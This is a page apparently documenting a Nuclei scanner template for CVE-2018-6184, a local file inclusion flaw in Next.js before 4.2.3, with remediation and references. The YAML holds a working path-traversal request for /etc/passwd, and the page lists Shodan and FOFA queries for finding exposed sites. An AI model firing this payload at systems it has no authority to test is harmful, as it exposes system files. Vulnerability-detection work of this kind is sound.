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Zeit Next.js <4.2.3 - Local File Inclusion

ID: CVE-2018-6184

Severity: high

Author: DhiyaneshDK

Tags: cve2018,cve,nextjs,lfi,traversal,zeit

Description

Section titled “Description”

Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2018-6184


info:
  name: Zeit Next.js <4.2.3 -  Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
  reference:
    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
    - https://github.com/zeit/next.js/releases/tag/4.2.3
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6184
    - https://github.com/lnick2023/nicenice
    - https://github.com/masasron/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6184
    cwe-id: CWE-22
    epss-score: 0.00396
    epss-percentile: 0.73405
    cpe: cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - html:"/_next/static"
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve2018,cve,nextjs,lfi,traversal,zeit


http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081fafe99d7f15aa99d9873b758d62654fd7fa9cd24b0fa6d661734f5c0d1aa71022100d53aa8a467cfdf68893e72b1237a7b79ba8d4094721031cc8b782e569c385487:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-6184.yaml"

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